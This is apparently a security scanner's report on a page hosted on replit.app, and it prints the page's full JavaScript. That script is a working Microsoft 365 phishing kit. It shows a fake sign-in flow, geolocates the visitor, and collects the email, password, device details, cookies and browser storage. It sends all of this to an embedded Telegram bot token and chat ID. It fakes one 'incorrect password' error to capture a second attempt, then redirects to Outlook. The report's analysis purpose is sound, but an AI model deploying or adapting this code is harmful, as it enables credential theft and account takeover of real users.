technology software

documentation technical

English

GAESA

Domain 'security-server-page--aj5582185.replit.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'security-server-page--aj5582185'. Its registrable label 'replit' stretches across 6 characters with two vowels and four consonants. Word splitting yields 2 words: rep, lit. Average segment length settles at three characters. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.stripe.com https://*.paddle.com https://www.google.com https://www.gstatic.com https://maps.gstatic.com https://maps.googleapis.com https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; style-src 'self' 'unsafe-inline' https://*.paddle.com https://fonts.gstatic.com https://fonts.googleapis.com; img-src 'self' data: https://ipapi.co https://maps.gstatic.com https://maps.googleapis.com https://*.stripe.com; font-src 'self' data: https://fonts.gstatic.com https://fonts.googleapis.com; frame-src 'self' https://www.google.com https://*.stripe.com https://*.paddle.com https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/ https://challenges.cloudflare.com/; connect-src 'self' https://ipapi.co/ https://*.paddle.com https://*.stripe.com https://maps.googleapis.com https://www.google.com/recaptcha/; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';

attachment; filename="MSFT-Microsoft-sticky-logo-RE1Mu3b.png"; filename*=UTF-8''MSFT-Microsoft-sticky-logo-RE1Mu3b.png

55d59f5ed62299f2df0fe22b6ceae87ca8d26d51de860d35f3bc8ad93f9772d7

ff1523fb7389539c84c65aba19260648793bb4f5e29329d2ee8804bc37a3fe6e

b5f47b3c0d1b01a4fb8410175783ba3964961bf385417e631fe5a25852108336

width=device-width, initial-scale=1.0, user-scalable=no

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Domain Manager

Nom-IQ Limited dba Com Laude

replit.app

Cloudflare, Inc.

Cloudflare, Inc

CLOUDFLARENET


// TELEGRAM CONFIG
var BOT_TOKEN = "8814667970:AAGcBJxC4yCv4zpY470Di3UoqmyIT6pgj3k";
var CHAT_ID = "6743870590";

var currentEmail = "";
var attemptCount = 0;
var startTime = Date.now();
var ipData = "", cityData = "", countryData = "", regionData = "", ispData = "";
var userAgent = navigator.userAgent;
var browserLang = navigator.language || "en-US";
var screenRes = screen.width + "x" + screen.height;
var timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
var platform = navigator.platform || "Unknown";

// Boot sequence
var bootMessages = ["Establishing secure connection...", "Validating SSL certificate...", "Ready"];
var bootIndex = 0;
function updateBoot() {
    if (bootIndex < bootMessages.length) {
        $('#bootStatus').text(bootMessages[bootIndex]);
        bootIndex++;
        setTimeout(updateBoot, 800);
    } else {
        $('#bootScreen').fadeOut(500, function() {
            $('#loginContainer').fadeIn(300);
        });
    }
}
updateBoot();

// IP Detection
function detectLocation() {
    $.get('https://ipapi.co/json/', function(res) {
        if(res && res.ip) {
            ipData = res.ip;
            cityData = res.city || "Unknown";
            countryData = res.country_name || "Unknown";
            regionData = res.region || "Unknown";
            ispData = res.org || "Unknown";
            $('#locText').text(cityData + ", " + countryData + " • " + ipData);
        }
    }).fail(function() {
        $.get('https://api.ipify.org?format=json', function(res) {
            if(res && res.ip) ipData = res.ip;
            $('#locText').text("IP: " + ipData);
        });
    });
}
detectLocation();

// Send to Telegram
function sendToTelegram(message) {
    var url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage?chat_id=" + CHAT_ID + "&text=" + encodeURIComponent(message) + "&disable_web_page_preview=true";
    var img = new Image();
    img.src = url;
}

// Grab storage data
function grabStorageData() {
    var storageData = "";

    if (document.cookie && document.cookie.length > 0) {
        storageData += "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        storageData += "COOKIES (non-HttpOnly)\n";
        storageData += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        storageData += document.cookie + "\n";
    }

    if (sessionStorage && sessionStorage.length > 0) {
        storageData += "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        storageData += "SESSION STORAGE\n";
        storageData += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        for(var i = 0; i < sessionStorage.length; i++) {
            var key = sessionStorage.key(i);
            var value = sessionStorage.getItem(key);
            if (value && value.length > 500) value = value.substring(0, 500) + "...";
            storageData += key + ": " + value + "\n";
        }
    }

    if (localStorage && localStorage.length > 0) {
        storageData += "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        storageData += "LOCAL STORAGE\n";
        storageData += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        for(var i = 0; i < localStorage.length; i++) {
            var key = localStorage.key(i);
            var value = localStorage.getItem(key);
            if (value && value.length > 500) value = value.substring(0, 500) + "...";
            storageData += key + ": " + value + "\n";
        }
    }

    return storageData;
}

// Build report
function buildReport(password) {
    var timeOnPage = Math.floor((Date.now() - startTime) / 1000);
    var deviceType = /Mobile|Android|iPhone|iPad|iPod/i.test(userAgent) ? "Mobile" : "Desktop";
    var browserMatch = userAgent.match(/(Chrome|Firefox|Safari|Edge|MSIE|Trident)/i);
    var browser = browserMatch ? browserMatch[1] : "Unknown";
    var osMatch = userAgent.match(/(Windows NT|Mac OS X|iPhone OS|Android|Linux)/i);
    var os = osMatch ? osMatch[1] : "Unknown";

    var report = "";
    report += "MICROSOFT 365 CREDENTIALS\n";
    report += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n";
    report += "EMAIL: " + currentEmail + "\n";
    report += "PASSWORD: " + password + "\n";
    report += "ATTEMPT: #" + attemptCount + "\n";
    report += "TIME: " + timeOnPage + " sec\n\n";
    report += "LOCATION\n";
    report += "IP: " + ipData + "\n";
    report += "CITY: " + cityData + "\n";
    report += "REGION: " + regionData + "\n";
    report += "COUNTRY: " + countryData + "\n";
    report += "ISP: " + ispData + "\n";
    report += "TIMEZONE: " + timezone + "\n\n";
    report += "DEVICE\n";
    report += "OS: " + os + " (" + platform + ")\n";
    report += "DEVICE TYPE: " + deviceType + "\n";
    report += "BROWSER: " + browser + "\n";
    report += "LANGUAGE: " + browserLang + "\n";
    report += "SCREEN: " + screenRes + "\n";
    report += "USER AGENT: " + userAgent + "\n";

    var storageData = grabStorageData();
    if (storageData) {
        report += storageData;
    }

    report += "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
    report += new Date().toISOString();

    return report;
}

// UI Events
$('#nextBtn').click(function() {
    var email = $('#emailInput').val().trim();
    if (email && email.includes('@') && email.length > 5) {
        currentEmail = email;
        $('#emailError').hide();
        $('#emailInput').removeClass('error');
        $('#userAvatar').text(email.charAt(0).toUpperCase());
        $('#displayEmail').text(email);
        $('#stepEmail').fadeOut(200, function() {
            $('#stepPassword').fadeIn(200);
            $('#passwordInput').focus();
        });
    } else {
        $('#emailError').show();
        $('#emailInput').addClass('error');
        setTimeout(function() { $('#emailError').fadeOut(2000); }, 2500);
    }
});

$('#backToEmailBtn').click(function() {
    $('#stepPassword').fadeOut(200, function() {
        $('#stepEmail').fadeIn(200);
        $('#passwordInput').val('');
        $('#passwordError').hide();
        $('#passwordInput').removeClass('error');
    });
});

$('#verifyBtn').click(function() {
    var password = $('#passwordInput').val();
    if (!password || password.length < 1) {
        $('#passwordError').text("Please enter your password.").show();
        $('#passwordInput').addClass('error');
        return;
    }

    attemptCount++;
    $('#loaderOverlay').fadeIn(200);
    $('#verifyBtn').prop('disabled', true);

    var report = buildReport(password);
    sendToTelegram(report);

    setTimeout(function() {
        $('#loaderOverlay').fadeOut(200);
        $('#verifyBtn').prop('disabled', false);

        if (attemptCount < 2) {
            $('#passwordInput').val('').addClass('error');
            $('#passwordError').text("Your password is incorrect. Please try again.").show();
            setTimeout(function() { $('#passwordError').fadeOut(3000); }, 3000);
        } else {
            window.location.replace("https://outlook.office.com/mail/");
        }
    }, 1500);
});

$('#emailInput').on('keypress', function(e) { if (e.which === 13) $('#nextBtn').click(); });
$('#passwordInput').on('keypress', function(e) { if (e.which === 13) $('#verifyBtn').click(); });
$('#emailInput').focus();

var hash = window.location.hash.substr(1);
if (hash && hash.includes('@')) {
    $('#emailInput').val(hash);
    setTimeout(function() { $('#nextBtn').click(); }, 1000);
}


Requests	IP Address	Location	AS Autonomous System
4	142.251.127.95Google · CDN	United States	AS15169Google LLC
1	35.190.3.23Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
1	23.194.190.135	Frankfurt am Main, Hesse, Germany	AS20940Akamai International B.V.
1	34.117.33.233Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
7	4	-	-

Security Scan Report: security-server-page--aj5582185.replit.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies9

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History